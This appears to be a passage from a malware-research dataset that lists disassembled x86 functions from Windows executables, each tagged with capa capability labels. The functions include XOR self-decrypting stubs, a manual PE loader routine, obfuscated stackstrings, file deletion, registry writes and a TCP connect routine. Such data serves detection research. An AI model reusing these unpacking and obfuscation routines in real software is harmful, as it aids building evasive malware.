joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405880
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x4058cb
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x4058c6
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x4058b0
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x4058b8
cmp edx, ebx
jne 0x405a06
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x405887
add eax, dword [eax + 4]
jmp 0x405874
mov dword [ebp + 0xc], ebx
jmp 0x4058d6
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4058ee
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40590c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40596a
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x405951
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40595a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x405964
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x405946
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4058d0
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4059b7
dec eax
je 0x4059ae
sub eax, 3
je 0x4059a5
mov dword [ebp - 4], 0x40
jmp 0x4059d4
mov dword [ebp - 4], 4
jmp 0x4059ba
mov dword [ebp - 4], 0x20
jmp 0x4059ba
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x405a06
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x405986
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00405217
sub esi, ebp
push eax
cmp bh, 0x75
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x405a12
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esp
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00405227
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004051dc
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00405227
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004051dc
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], pe_nt_image_headers32
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.00405227
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004051dc
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.00405217
dec ebp
ret 0x962b

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1112510
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x113f094]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.01124250
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x11125df
mov eax, 0x113c640
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1112555
sub eax, edx
sar eax, 1
je 0x11125df
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [fcn.01135124]
push 0x113c640
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.011226bd
push 0x113c638
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.01122164
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x11125df
push eax
push 1
push 0x200
push esi
call fcn.011229da
mov eax, dword [esp + 0x14]
push eax
call fcn.01122412
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.01121ee8
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.01121ee8
add esp, 0x214
ret

Function at 0x11127c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub esp, 8
push ebx
push esi
push edi
push 0x3e8
mov dword [esp + 0x10], 0
call dword [0x1135140]
push 0x113c6dc
lea eax, [esp + 0x10]
push 0x1141de8
push eax
call fcn.01122164
mov eax, dword [esp + 0x18]
add esp, 0xc
test eax, eax
je 0x11128f1
push 2
push 0
push eax
call fcn.01122e4f
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ecx
call fcn.01123071
mov esi, eax
add esp, 4
push esi
call fcn.011230df
mov edx, dword [esp + 0x10]
add esp, 4
push 0
push 0
push edx
mov edi, eax
call fcn.01122e4f
mov eax, dword [esp + 0x18]
add esp, 0xc
push eax
push esi
push 1
push edi
call fcn.011229da
add esp, 0x10
cmp esi, eax
jne 0x11128d3
call dword [0x113512c]
push eax
call fcn.01122d91
add esp, 4
call fcn.01122da3
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x113d138]
fmul qword [0x113d130]
fadd qword [0x113d128]
call fcn.01124af0
cmp esi, eax
jl 0x11128d3
mov ebx, edi
sub ebx, eax
add ebx, esi
call fcn.01112770
mov ecx, dword [esp + 0xc]
push ecx
call fcn.01122412
add esp, 4
push 0x1141de8
call dword [0x113511c]
push 0x113c774
lea edx, [esp + 0x10]
push 0x1141de8
push edx
call fcn.01122164
mov eax, dword [esp + 0x18]
add esp, 0xc
test eax, eax
je 0x11128f1
push eax
push esi
push 1
push edi
call fcn.01122319
add esp, 0x10
mov eax, dword [esp + 0xc]
test eax, eax
je 0x11128e4
push eax
call fcn.01122412
add esp, 4
test edi, edi
je 0x11128f1
push edi
call fcn.01121edd
add esp, 4
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x11147b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
xor ebp, ebp
push esi
mov ebx, ecx
push edi
mov edi, eax
mov dword [esp + 0x10], ebp
cmp ebx, ebp
je 0x11148a1
cmp edi, 0xa
jb 0x11148a1
lea eax, [edi*4]
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.01121f46
add esp, 4
mov esi, eax
push esi
push ebx
lea edx, [esp + 0x1c]
mov ecx, edi
call fcn.01114630
add esp, 8
test eax, eax
je 0x111489a
mov eax, dword [esp + 0x1c]
push 0x113b804
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.01122164
mov eax, dword [esp + 0x1c]
add esp, 0xc
test eax, eax
jne 0x1114825
lea ebp, [eax - 2]
jmp 0x1114850
mov edi, dword [esp + 0x14]
push eax
push edi
push 1
push esi
call fcn.01122319
add esp, 0x10
cmp eax, edi
je 0x1114867
mov ebp, 0xfffffffe
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1114850
push eax
call fcn.01122412
add esp, 4
test esi, esi
je 0x111485d
push esi
call fcn.01122010
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov edi, dword [0x113512c]
call edi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov ebx, edx
call edi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov eax, dword [esp + 0x10]
push eax
push ebx
push 1
add edx, esi
push edx
call fcn.01122319
add esp, 0x10
jmp 0x111483f
mov ebp, 0xfffffffd
jmp 0x111483f
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 8
ret
Function at 0x1116620
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
jne 0x1116627
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x1116704
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x113ab48]
inc ecx
sub edx, 8
sub esi, 1
jne 0x1116640
pop edi
test edx, edx
je 0x111672b
jmp 0x1116710
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x113ab48]
inc ecx
sub edx, 1
jne 0x1116710
not eax
pop esi
ret

Function at 0x1116730
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x113ab48]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x113ab48]
mov dword [edx + 8], ecx
ret

Function at 0x1116780
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x113ab48]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x113ab48]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret
Function at 0x1117b80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x1117b9e
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x1117b92
cmp dword [edi + 0x7c], ebx
je 0x1117bad
call fcn.01117f60
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.011178f0
add esp, 0xc
test eax, eax
je 0x1117bd4
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x7e
call fcn.01121f46
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x1117c12
push 0x4000
call fcn.01121f46
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x1117c1f
push esi
call fcn.01122010
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x1117c67
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.01116a40
test eax, eax
jne 0x1117c67
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x1117c8e
mov cl, byte [edi + 0x39]
mov byte [esi + 0x7d], cl
jmp 0x1117c94
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x7d], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x6d]
mov dword [esi + 0x79], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x71], 0x23456789
mov dword [esi + 0x75], 0x34567890
cmp ebp, ebx
je 0x1117cd1
lea ecx, [ecx]
mov cl, byte [ebp]
cmp cl, bl
je 0x1117cd1
call fcn.01116730
add ebp, 1
jne 0x1117cc0
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x8135c8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x8135cc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
call fcn.00401000
mov eax, dword [0x8135d0]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x8135d4]
add ebx, 0x23f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0x82280c], 0xc
mov dword [ebp - 4], eax
jne 0x401080
xor eax, eax
push eax
lea ecx, [ebp - 0x2c]
push ecx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, dword [0x82280c]
cmp eax, 0xfa9
jne 0x40109c
mov dword [0x822808], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010be
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x822760], 0
mov ecx, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov edx, edi
lea eax, [ebx + edi]
shr edx, cl
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [0x822804], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor eax, edx
sub esi, eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov edx, esi
shr edx, cl
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x401054
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x407fdf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x812d70]
jne 0x407fe9
repz ret
jmp fcn.0040c2c2

Function at 0x40a778
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404b97
and dword [ebp - 4], 0
cmp dword [0x8177f8], 0
mov ebx, eax
jne 0x40a829
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a8da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a8da
push eax
call fcn.00404b25
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x8177f8], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x8177fc], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x817800], eax
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x817808], eax
test eax, eax
je 0x40a829
push 0x80ef28
push edi
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x817804], eax
mov eax, dword [0x817804]
cmp eax, ebx
je 0x40a881
cmp dword [0x817808], ebx
je 0x40a881
push eax
call fcn.00404ba0
push dword [0x817808]
mov esi, eax
call fcn.00404ba0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a881
test edi, edi
je 0x40a881
call esi
test eax, eax
je 0x40a878
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a878
test byte [ebp - 0xc], 1
jne 0x40a881
or dword [ebp + 0x10], 0x200000
jmp 0x40a8ba
mov eax, dword [0x8177fc]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a8ba
mov eax, dword [0x817800]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8177f8]
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a8dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x8df130
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8df136
pop ebp
sub ebp, 6
sub ebp, 0x4df130
jmp 0x8df194
or byte [eax], al
adc eax, dword [eax]
dec edi
adc byte [si], bh
jmp 0xdf3534a3
jmp 0x8df19d
mov eax, 0x4df130
add eax, ebp
add eax, 0x93
mov ecx, 0x616
mov edx, 0x31a7b543
xor byte [eax], dl
inc eax
dec ecx
jne 0x8df1b4
jmp 0x8df1c7
sub dword [ebx], eax
sub eax, dword [ebx + 0x53]
inc ebx
inc ebx
sub eax, dword [ebx - 0x71]
outsd dx, dword [esi]
inc ebx
jo 0x8df158
adc edi, dword [esi + edx*8 + 0x4307727f]
adc ecx, eax
mov cs, eax
retf 0x437f
Function at 0x10001000
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x14]
push esi
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 4]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 4]
mov esi, eax
neg esi
sbb esi, esi
push ecx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0xc
ret

Function at 0x10001070
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
mov edx, dword [ebp + 8]
push edi
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 0xc]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100010ba
mov eax, 0x100051f8
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 8]
push eax
mov eax, dword [ebp + 0x10]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x14]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x20], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x10]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10001100
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea eax, [esp + 4]
push eax
push 1
push 0
push ecx
push edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000116f
lea eax, [esp]
push eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x14]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10001175
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0x10
ret
mov eax, dword [esp + 8]
add esp, 0x10
ret
Function at 0x10001180
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
push esi
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x1c]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100011c0
mov ecx, dword [esp + 0x18]
sub eax, esi
push eax
push edx
mov edx, dword [esp + 0xc]
push 1
push 0
push ecx
push edx
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 8
ret

Function at 0x10001700
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jle 0x1000173b
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.10001630
mov cl, byte [0x10006010]
xor cl, byte [esp + 0x24]
add esp, 8
mov byte [esi + ebp], cl
inc esi
add edi, 2
cmp esi, ebx
jl 0x10001716
pop edi
pop ebp
pop esi
pop ebx
ret

Function at 0x10001740
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
sub esp, 0x120
push esi
push 0
push 1
push 2
mov dword [esp + 0x10], 1
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000176c
xor eax, eax
pop esi
add esp, 0x120
ret
mov ecx, dword [esp + 0x12c]
mov eax, dword [esp + 0x128]
push edi
push ecx
mov word [esp + 0x18], 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea edx, [esp + 8]
push edx
push 0x8004667e
push esi
mov word [esp + 0x22], ax
call edi
push 0x10
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
mov ecx, dword [esp + 0x134]
lea edx, [esp + 0xc]
push edx
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x100017ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x120
ret
lea ecx, [esp + 8]
push ecx
push 0x8004667e
push esi
mov dword [esp + 0x14], 0
call edi
pop edi
mov eax, esi
pop esi
add esp, 0x120
ret